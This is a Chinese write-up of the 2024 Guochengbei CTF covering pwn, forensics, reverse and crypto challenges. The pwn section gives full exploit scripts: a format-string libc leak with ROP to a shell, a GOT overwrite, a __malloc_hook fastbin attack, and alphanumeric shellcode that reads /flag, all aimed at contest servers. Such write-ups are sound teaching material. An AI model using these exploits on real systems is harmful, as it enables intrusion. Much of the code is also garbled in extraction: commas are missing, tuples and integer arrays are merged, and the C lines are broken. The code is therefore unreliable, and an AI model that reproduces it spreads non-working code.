国城杯 · 2024 WriteUp

admin 2024年12月10日11:23:03评论13 views字数 21162阅读70分32秒阅读模式

我们新点击蓝字

国城杯 · 2024  WriteUp

关注我们

声明

本文作者:CTF战队

本文字数:23779字

阅读时长:约60分钟

附件/链接:点击查看原文下载

本文属于【狼组安全社区】原创奖励计划,未经许可禁止转载

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,狼组安全团队以及文章作者不为此承担任何责任。

狼组安全团队有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经狼组安全团队允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。

国城杯 · 2024  WriteUp

团队每周会报名参加各类CTF比赛,writeup在公众号更新。

我们建立了一个关于CTF的公开交流群,大家赛后可以交流技巧思路。

国城杯 · 2024  WriteUp

http://ctf2024.goolcent.com

Pwn

Offensive security

有格式化字符串漏洞,泄漏密码和libc地址,爆破出libc版本拿shell

from pwn import *

context(arch='amd64',os='linux')
context.terminal = ["tmux""splitw""-h"]
#io=process("./chal")
io=remote("125.70.243.22",31975)

r = lambda a : io.recv(a)
rl = lambda    a=False        : io.recvline(a)
ru = lambda a,b=True    : io.recvuntil(a,b)
s = lambda x            : io.send(x)
sl = lambda x            : io.sendline(x)
sa = lambda a,b            : io.sendafter(a,b)
sla = lambda a,b        : io.sendlineafter(a,b)
shell = lambda            : io.interactive()
def debug():
    gdb.attach(io)

sla(":","%7$s")
rl()
rl()
leak=rl()
libc=u64(leak[8:]+"x00"*2)-0x21b780
print hex(libc)
password=leak[:8]

sa(":",password)
sla(":","12345678")
sl("12345678")

#libc6_2.35-0ubuntu3.6_amd64
ret=0x0400462
pop_rdi=0x0400661
binsh=libc+0x1d8678
system=libc+0x050d70

p="A"*40+p64(ret)+p64(pop_rdi)+p64(binsh)+p64(system)
sla(">",p)
shell()

Beverage store

可以填负数,写got表拿shell

from pwn import *

context(arch='amd64',os='linux')
context.terminal = ["tmux""splitw""-h"]
#io=process("./pwn")
io=remote("125.70.243.22",31700)

r = lambda a : io.recv(a)
rl = lambda    a=False        : io.recvline(a)
ru = lambda a,b=True    : io.recvuntil(a,b)
s = lambda x            : io.send(x)
sl = lambda x            : io.sendline(x)
sa = lambda a,b            : io.sendafter(a,b)
sla = lambda a,b        : io.sendlineafter(a,b)
shell = lambda            : io.interactive()
def debug():
    gdb.attach(io)

sla("id","A"*16)
sla(":","2045728160")
sla("wine","-4")
s(p64(0x040133B))
sla("wine","-5")
s("xf0")
ru("succeedn")
leak=rl()+"x00"*2
leak=u64(leak)-0x815f0
print hex(leak)
sla("wine","-7")
s(p64(leak+0x50d70))
sla("wine","-4")
s(p64(0x0401511))
shell()

vtable_hijack

释放一个unsorted块拿leak,之后fastbin 攻击写one gadget在malloc hook上

from pwn import *

context(arch='amd64',os='linux')
context.terminal = ["tmux""splitw""-h"]
#io=process("./pwn")
io=remote("125.70.243.22",31291)

r = lambda a : io.recv(a)
rl = lambda    a=False        : io.recvline(a)
ru = lambda a,b=True    : io.recvuntil(a,b)
s = lambda x            : io.send(x)
sl = lambda x            : io.sendline(x)
sa = lambda a,b            : io.sendafter(a,b)
sla = lambda a,b        : io.sendlineafter(a,b)
shell = lambda            : io.interactive()
def debug():
    gdb.attach(io)

def add(idx,size):
 sla(":","1")
 sla(":",str(idx))
 sla(":",str(size))

def free(idx):
 sla(":","2")
 sla(":",str(idx))

def edit(idx,size,content):
        sla(":","3")
        sla(":",str(idx))
        sla(":",str(size))
 sa(":",content)

def show(idx):
        sla(":","4")
        sla(":",str(idx))

add(0,0x90)
add(1,0x10)
free(0)
show(0)
rl()
libc=u64(rl()+"x00"*2)-0x39bb78
print hex(libc)

hook=libc+0x39baed
system=libc+0x3f560

add(2,0x60)
add(3,0x10)
free(2)
edit(2,0x10,p64(hook))
add(0,0x60)
add(0,0x60)
edit(0,0x100,"A"*0x13+p64(libc+0xd5c07))
add(1,0x10)

shell()

Alpha Shell

长度给了0x150,直接工具生成就行。。。

from pwn import *
from ae64 import AE64
context.arch = "amd64"

shell = shellcraft.amd64.openat(-100"/flag"0)
shell += shellcraft.amd64.sendfile(1300x70)
enc_shellcode = AE64().encode(asm(shell),"rdx",0,"fast")

io = process("./pwn")
io.recvline()
io.send(enc_shellcode)

io.interactive()

Misc

Just_F0r3n51Cs

flag1

AES密钥

国城杯 · 2024  WriteUp
国城杯 · 2024  WriteUp
ECB's key is
N11c3TrYY6666111
记得给我秋秋空间点赞
国城杯 · 2024  WriteUp

查看QQ号为293519770的用户QQ空间

我差不多就是这种小猫咪,表面上单纯天真,实际上圆滑通透。你不可能算计得了本喵,因为从一开始你就被本喵布局了。本喵是棋手,而你只是棋子,若你违逆本喵,你会知道什么是残酷和黑暗。本喵从来不缺雷霆手段也不缺菩萨心肠,本喵心中有佛喵喵也有魔喵喵,但我把魔喵喵深深的封印起来了,只剩下佛喵喵了,我本想以菩萨喵喵心肠面对所有人,可是有些人非要我把心中的魔喵喵解除封印,那我想问问你们,当你们面对一个真正的魔喵喵现世,你们还镇的住吗?


5e19e708fa1a2c98d19b1a92ebe9c790d85d76d96a6f32ec81c59417595b73ad

AES解密出

国城杯 · 2024  WriteUp

flag1:D0g3xGC{Y0u_

flag2

1、计算机注册时设置的用户名(答案格式:Bo6)
2、计算机当前操作系统的产品名称,若有空格则用下划线代替(答案格式:Windows_Server_2016)
3、计算机当前安装的 Mozilla Firefox 浏览器的版本号,保留一位小数(答案格式:91.0
最终压缩包密码格式:B06_Windows_Server_2016_91.0
D0g3xGC_Windows_7_Ultimate_115.0
国城杯 · 2024  WriteUp
国城杯 · 2024  WriteUp
国城杯 · 2024  WriteUp
国城杯 · 2024  WriteUp
国城杯 · 2024  WriteUp

flag2:h4V3_f0und_7H3_

flag3

1、计算机用户D0g3xGC登录时的密码(答案格式:a123456+)
2、账号[email protected]登录otterctf网站时的密码(答案格式:PA55word)
最终压缩包密码格式:a123456+_PA55word
qwe123!@#_Y0u_f1Nd^_^m3_233
国城杯 · 2024  WriteUp
国城杯 · 2024  WriteUp
国城杯 · 2024  WriteUp

压缩包解密得:

国城杯 · 2024  WriteUp

通过文件名字得到 catWatermark

国城杯 · 2024  WriteUp
https://github.com/Konano/CatWatermark/blob/main/decode.py
https://blog.wm-team.cn/index.php/archives/37/#%E6%9D%A5%E8%87%AA%E5%96%B5%E6%98%9F%E7%90%83%E7%9A%84%E9%97%AE%E5%80%99

找到解密脚本参考阿里云CTF

编写爆破脚本

import sys
import numpy as np
from PIL import Image
import itertools


def arnold_cat_map(image, key=(121)):
    """
    Implements Arnold's cat map transformation on an image.
    "
""
    height, width, *_ = image.shape
    offset_x, offset_y, iterations = key

    new_image = np.zeros(image.shape, dtype=np.uint8)
    for i in range(iterations):
        for x in range(height):
            for y in range(width):
                _x, _y = x, y
                _y = (_y + offset_x * _x) % width
                _x = (_x + offset_y * _y) % height
                new_image[_x, _y] = image[x, y]
    return new_image

def arnold_cat_map_rev(image, key=(121)):
    """
    Implements Arnold's cat map transformation on an image (reverse).
    "
""
    height, width, *_ = image.shape
    offset_x, offset_y, iterations = key

    new_image = np.zeros(image.shape, dtype=np.uint8)
    for i in range(iterations):
        for x in range(height):
            for y in range(width):
                _x, _y = x, y
                _x = (_x - offset_y * _y) % height
                _y = (_y - offset_x * _x) % width
                new_image[_x, _y] = image[x, y]
    return new_image


def extract_watermark(original_image_path, watermarked_image_path, output_image_path, private_key):
    """
    Extracts a text watermark from a watermarked image using the Arnold's cat map transformation.
    "
""
    # Open the original image
    original_image = np.array(Image.open(original_image_path).convert("RGB"))

    # Open the watermarked image
    watermarked_image = np.array(Image.open(watermarked_image_path).convert("RGB"))
    assert watermarked_image.shape == original_image.shape

    # Extract the watermark from the watermarked image
    original_image ^= watermarked_image
    transformed_image = arnold_cat_map(original_image, private_key)
    transformed_image[transformed_image > 0] = 255
    transformed_image = 255 - transformed_image

    # Save the extracted watermark
    Image.fromarray(np.uint8(transformed_image)).save(output_image_path)


original_image_path = sys.argv[1]
watermarked_image_path = sys.argv[2]



dx_values = range(110)  # 1 to 5 (you can adjust the range)
dy_values = range(110)  # 1 to 5 (you can adjust the range)


for dx, dy in itertools.product(dx_values, dy_values):
    # Construct a unique output filename for each combination
    output_file = f"123_{dx}_{dy}.png"
    print(f"Processing with dx={dx}, dy={dy}")
    
    # Generate the watermark with the current dx and dy
    extract_watermark(original_image_path, watermarked_image_path, output_file, (dx, dy, 1))

在6-6时候得到完整结果

国城杯 · 2024  WriteUp
F1N4L_s3CR3t_0F_Th15_

flag4

国城杯 · 2024  WriteUp

从enc_png.exe得知只有一个简单的异或

国城杯 · 2024  WriteUp
国城杯 · 2024  WriteUp
flag1
D0g3xGC{Y0u_
flag2
h4V3_f0und_7H3_
flag3
F1N4L_s3CR3t_0F_Th15_
flag4
F0R3N51c5_Ch4Ll3N93}

Tr4ffIc_w1th_Ste90

https://goto.pachanka.org/crypto/pgp-wordlist/
国城杯 · 2024  WriteUp

国城杯 · 2024  WriteUp

追踪UDP另存为TS

国城杯 · 2024  WriteUp

提示给了50到70 ,seed是随机的也就是在这之间

国城杯 · 2024  WriteUp

国城杯 · 2024  WriteUp

https://tuzim.net/decode/

国城杯 · 2024  WriteUp

Reverse

Crush's_secret

你的Crush貌似想对你说,但她的思绪貌似被打断了,可以帮助她找回思绪吗

附件拖入ida

国城杯 · 2024  WriteUp
国城杯 · 2024  WriteUp
国城杯 · 2024  WriteUp

加密函数是乱码,而且段名是SMC,那么肯定有地方是修改的,对VirtualProtect函数查引用

国城杯 · 2024  WriteUp

没有反调试,那么直接下断点调试即可

国城杯 · 2024  WriteUp

检查完是标准的xxtea加密,直接上脚本

#include <stdio.h>
#include<string.h>
#include<stdint.h>
#include <stdlib.h>
#include <time.h>
#include<windows.h>

#define DELTA 0x9E3779B9
#define MX (((z^(key[e^(p&3)])))+(y^sum))^(((16*z)^(y>>3))+((4*y)^(z>>5)))

void xxtea_de(uint32_t* v, int n, uint32_t const key[4])
{
uint32_t y, z, sum;
unsigned int p, rounds, e;
if (n > 1) /* Coding Part */
{
rounds = 6 + 52 / n;
sum = 0;
z = v[n - 1];
do
{
sum += DELTA;
e = (sum >> 2) & 3;
for (p = 0; p < n - 1; p++)
{
y = v

;
z = v

+= MX;
}
y = v[0];
z = v[n - 1] += MX;
} while (--rounds);
}
else if (n < -1) /* Decoding Part */
{
n = -n;
rounds = 6 + 52 / n;
sum = rounds * DELTA;
y = v[0];
do
{
e = (sum >> 2) & 3;
for (p = n - 1; p > 0; p--)
{
z = v

;
y = v

-= MX;
}
z = v[n - 1];
y = v[0] -= MX;
sum -= DELTA;
} while (--rounds);
}
}

int main() {
uint32_t v[] = { 0x5A764F8A ,0x5B0DF77 ,0xF101DF69 ,0xF9C14EF4 ,0x27F03590 ,0x7DF3324F ,0x2E322D74 ,0x8F2A09BC ,0xABE2A0D7 ,0xC2A09FE ,0x35892BB2 ,0x53ABBA12 };

uint32_t k[] = { 0x5201314 ,0x52013140,0x5201314,0x52013140 };

for (int i = 0; i < 6; i++) {
uint32_t tmp[3] = { v[i * 2],v[i * 2 + 1],0 };
xxtea_de(tmp, -2, k);
printf("%s", (char*)tmp);
}

return 0;
}

round

不要卷我了,来做做简单的安卓题放松一下吧(,,・ω・,,)

附件拖入jadx

国城杯 · 2024  WriteUp
国城杯 · 2024  WriteUp
国城杯 · 2024  WriteUp

用户名部分就一个魔改base64,理解一下嵌套的三元运算符的取值关系即可。同时得到下一步需要的数组

#include <stdio.h>
#include<string.h>
#include<stdint.h>
#include <stdlib.h>
#include <time.h>
#include<windows.h>

// Base64字符表
const char base64_chars[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";

// 查找给定字符在Base64字符表中的索引
int b64_find_index(char c) {
const char* p = strchr(base64_chars, c);
return (p != NULL) ? p - base64_chars : -1;
}

// Base64解码函数
void base64_decode(const char* input, char* output) {
int len = strlen(input);
int i, j;
unsigned char a, b, c, d;

for (i = 0, j = 0; i < len && input[i] != '='; i += 4, j += 3) {
a = (unsigned char)(b64_find_index(input[i]));
b = (unsigned char)(b64_find_index(input[i + 1]));
c = (unsigned char)(b64_find_index(input[i + 2]));
d = (unsigned char)(b64_find_index(input[i + 3]));

output[j] = (a << 2) | (c >> 4);
output[j + 1] = (c << 4) | (b >> 2);
output[j + 2] = (b << 6) | d;
}

// 处理补位
int padding = 0;
if (input[len - 2] == '=') {
padding = 2;
}
else if (input[len - 1] == '=') {
padding = 1;
}

j -= padding;

for (i = len - padding; i < len; i++) {
output[j++] = 0;
}
}

int* makebox(char* s) {
int* s1 = (int*)malloc(sizeof(int) * 1024);
if (!s1) {
return NULL;
}
for (int i = 0; i < 1024; i++) {
s1[1023 - i] = i;
}
for (int i = 0; i < 1024; i++) {
s1[i] = s1[i] ^ s[i % strlen(s)];
}
return s1;
}

int main() {
char s1[] = { "c9m1bRmfY5Wk" };

char s2[64] = { 0 };
base64_decode(s1, s2);
printf("%s", s2);
//round_and

int* s3 = makebox(s1);
for (int i = 0; i < 1024; i++) {
printf("%d,", s3[i]);
}

return 0;
}

数组有了,那么round函数参数一是已知的,就一个密码,逐字符进行运算,所以考虑爆破

import javax.crypto.Cipher;
import javax.crypto.spec.GCMParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.nio.charset.StandardCharsets;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.security.MessageDigest;
import java.util.ArrayList;
import java.util.Base64;
import java.util.List;
import java.util.Scanner;

public class Main {

    public static class Result {
        private int num;
        private int rip;

        public Result(int i, int i2) {
            this.num = i;
            this.rip = i2;
        }

        public int getNum() {
            return this.num;
        }

        public int getRip() {
            return this.rip;
        }
    }

    public static Result add(int[] iArr, int i, int i2) {
        int i3 = (((i + iArr[i2]) % 1024) + 1024) % 1024;
        return new Result(i3, (i2 + i3) % 1024);
    }

    public static Result sub(int[] iArr, int i, int i2) {
        int i3 = (((i - iArr[i2]) % 1024) + 1024) % 1024;
        return new Result(i3, (i2 + i3) % 1024);
    }

    public static Result xor(int[] iArr, int i, int i2) {
        int i3 = (iArr[i2] ^ i) % 1024;
        return new Result(i3, (i2 + i3) % 1024);
    }

    public static Result shl(int i, int i2) {
        int i3 = (i >> 3) % 1024;
        return new Result(i3, (i2 + i3) % 1024);
    }

    public static Result shr(int i, int i2) {
        int i3 = (i << 3) % 1024;
        return new Result(i3, (i2 + i3) % 1024);
    }


    public static void main(String[] args) {
        int[] iArr = {92496791297392193691692694296393092791297192496190995689690694699195889990099190498189794490890290210039069519529959481001949900952946906999902955940101592810219379209329429261011914943928101994010099891004976986994911100697998091198490197799298898210149231018967968915964921965101296896210189191014971102093510089411017968101210229749319621023100893910209291005988992100297895999099599695910009499939761004998806843810791792835788841789804792786810839806795780855768861777824772782830851818783768859780849829780816826770879782819820879824869817768828822790891794807808883804889805788808802794887790811860775848781857872852862878771866863848779860769845892832842882799894835836799840789833880844838838811842887888803884809885836888882842807838891876823864829873856868878862819850879864827876817669684656666674719686659660719664709657672668662694731698647648723644729645692648642698727694651700743688749697648692702654739642703688747700737685668672682658767670675676767680757673656684678742651746727728643724649725740728722746647742731716663704669713760708718766659754719704667716657765716752762706687718755756687760677753704764758726699730743744691740697741724744738730695726747540583528589537552532542558579546543528587540577525572512522562607574515516607520597513560524518518619522567568611564617565516568562522615518571556631544637553536548558542627530559544635556625605620592602610527622595596527600517593608604598630539634583584531580537581628584578634535630587636551624557633584628638590547578639624555636545621604608618594575606611612575616565609592620614422459426407408451404457405420408402426455422411396471384477393440388398446467434399384475396465445396432442386495398435436495440485433384444438406507410423424499420505421404424418410503406427476391464397473488468478494387482479464395476385461508448458498415510451452415456405449496460454454427458503504419500425501452504498458423454507492439480445489472484494478435466495480443492433285300272282290335302275276335280325273288284278310347314263264339260345261308264258314343310267316359304365313264308318270355258319304363316353301284288298274383286291292383296373289272300294358267362343344259340265341356344338362263358347332279320285329376324334382275370335320283332273381332368378322303334371372303376293369320380374342315346359360307356313357340360354346311342363156199144205153168148158174195162159144203156193141188128138178223190131132223136213129176140134134235138183184227180233181132184178138231134187172247160253169152164174158243146175160251172241221236208218226143238211212143216133209224220214246155250199200147196153197244200194250151246203252167240173249200244254206163194255240171252161237220224234210191222227228191232181225208236230387542232467207321362418427138271287093956414628350150911281611248582111145152111561014906054221232639401153612137204034261192243927801389104849411039895801192177124647411431126676831722165112767070437411912035116411176812011474397012310855966110588100110945182111965910849};

        int[] iArr3 = {352646752882650122007350360};
        Result add;

        //68 468 72 582 77 896 81 959 86 485 98 327 116 213 5的情况
        int rip = 292;//33 795 887 962 638 243
        //for (int i2 = 0; i2 < 12; i2++) {
            for (int j = 65; j < 123; j++) {
                if ((j > 90 && j < 97) && j != 95) {
                    continue;
                }
                int tmp = j;
                int i = rip;
                for (int i3 = 0; i3 < 32; i3++) {
                    int i4 = (((iArr[i] ^ tmp) % 5) + 5) % 5;
                    if (i4 == 0) {
                        add = add(iArr, tmp, i);
                    } else if (i4 == 1) {
                        add = sub(iArr, tmp, i);
                    } else if (i4 == 2) {
                        add = xor(iArr, tmp, i);
                    } else if (i4 == 3) {
                        add = shl(tmp, i);
                    } else if (i4 == 4) {
                        add = shr(tmp, i);
                    } else {
                        add = new Result(tmp, i);
                    }
                    tmp = add.getNum();
                    i = add.getRip();
                }
                if (tmp == iArr3[9]) {
                    System.out.println((char)j+" "+i);
                    //rip = i;
                    //break;
                }
            }
        //}
        //95 114 111 117 110
        //_roun
    }


}

但是没想到会有结果不唯一的情况,懒得动脑写脚本所以又手撕了一部分

国城杯 · 2024  WriteUp

Crypto

Curve

爱德华曲线映射即可

from Crypto.Util.number import *
p = 64141017538026690847507665744072764126523219720088055136531450296140542176327
a = 362
d = 7
e=0x10001
c=1
eG = (3412066497316661988612080196686136841949794842280717542120219070982223235405911301243831592615312624457443883283529467532390028216735072818875052648928463)
#part2 map to ECC
F = GF(p)
dd = F(d*c^4)
A = F(2) * F(a+dd) / F(a-dd)
B = F(4) / F(a-dd)
a = F(3-A^2) / F(3*B^2)
b = F(2*A^3-9*A) / F(27*B^3)

def edwards_to_ECC(x,y):
    x1 = F(x) / F(c)
    y1 = F(y) / F(c)
    #now curve is a*x^2+y^2 = 1+dd*x^2*y^2

    x2 = F(1+y1) / F(1-y1)
    y2 = F(x2) / F(x1)
    #now curve is By^2 = x^3 + Ax^2 + x

    x3 = (F(3*x2) + F(A)) / F(3*B)
    y3 = F(y2) / F(B)
    #now curve is y^2 = x^3 + ax + b

    return (x3,y3)
 
def ECC_to_edwards(x,y):
    x2 = (F(x) * F(3*B) - F(A)) / F(3)
    y2 = F(y) * F(B)
    #now curve is By^2 = x^3 + Ax^2 + x

    x1 = F(x2) / F(y2)
    y1 = F(1) - (F(2) / F(x2+1))
    #now curve is a*x^2+y^2 = 1+dd*x^2*y^2

    x_ = F(x1) * F(c)
    y_ = F(y1) * F(c)
    #now curve is a*x^2+y^2 = c^2(1+d*x^2*y^2)
    
    return (x_,y_)
 
E = EllipticCurve(GF(p), [a, b])
order = E.order()
eG = E(edwards_to_ECC(eG[0],eG[1]))
t = inverse(e,order)
G = t*eG
G = ECC_to_edwards(G[0],G[1])
print(long_to_bytes(int(G[0])))

baby_rsa

已知edN,直接套L神的脚本即可

from Crypto.Util.number import *
from gmpy2 import *
import random

N = 539403894871945779827202174061302970341082455928364137444962844359039924160163196863639732747261316352083923762760392277536591121706270680734175544093484423564223679628430671167864783270170316881238613070741410367403388936640139281272357761773388084534717028640788227350254140821128908338938211038299089224967666902522698905762169859839320277939509727532793553875254243396522340305880944219886874086251872580220405893975158782585205038779055706441633392356197489
d = 58169755386408729394668831947856757060407423126014928705447058468355548861569452522734305188388017764321018770435192767746145932739423507387500606563617116764196418533748380893094448060562081543927295828007016873588530479985728135015510171217414380395169021607415979109815455365309760152218352878885075237009
c = 82363935080688828403687816407414245190197520763274791336321809938555352729292372511750720874636733170318783864904860402219217916275532026726988967173244517058861515301795651235356589935260088896862597321759820481288634232602161279508285376396160040216717452399727353343286840178630019331762024227868572613111538565515895048015318352044475799556833174329418774012639769680007774968870455333386419199820213165698948819857171366903857477182306178673924861370469175
e=N

def divide_pq(e, d, n):
    k = e*d - 1
    while True:
        g = random.randint(2, n-1)
        t = k
        while True:
            if t % 2 != 0:
                break
            t //= 2
            x = pow(g, t, n)
            if x > 1 and gmpy2.gcd(x-1, n) > 1:
                p = gmpy2.gcd(x-1, n)
                return (p, n//p)

p,q=divide_pq(e,d,N)
print(p)
print(q)

p=79383306134947424796765954824015864390078583902302636527808026816952829265734994276325635699794430479702821928289625118815325887659007643266349948296318807317582134486508441170880662166050894191177907221139536796434252181713457621118705394280613626457816073091127751846643375030866224594198586067838678842497
q=6794928570435044209030833867549069695672243994881591721813098774596108837421399268704431701833380412609102066316818356763155159992836983459691442967908337

phi=(p-iroot(p,2)[0])*(q-1)
d=inverse(e,phi)
m=pow(c,d,(q))
print(long_to_bytes(m))

作者

国城杯 · 2024  WriteUp

CTF战队

ctf.wgpsec.org

原文始发于微信公众号(WgpSec狼组安全团队):国城杯 · 2024 WriteUp

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年12月10日11:23:03
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   国城杯 · 2024 WriteUphttp://cn-sec.com/archives/3488621.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息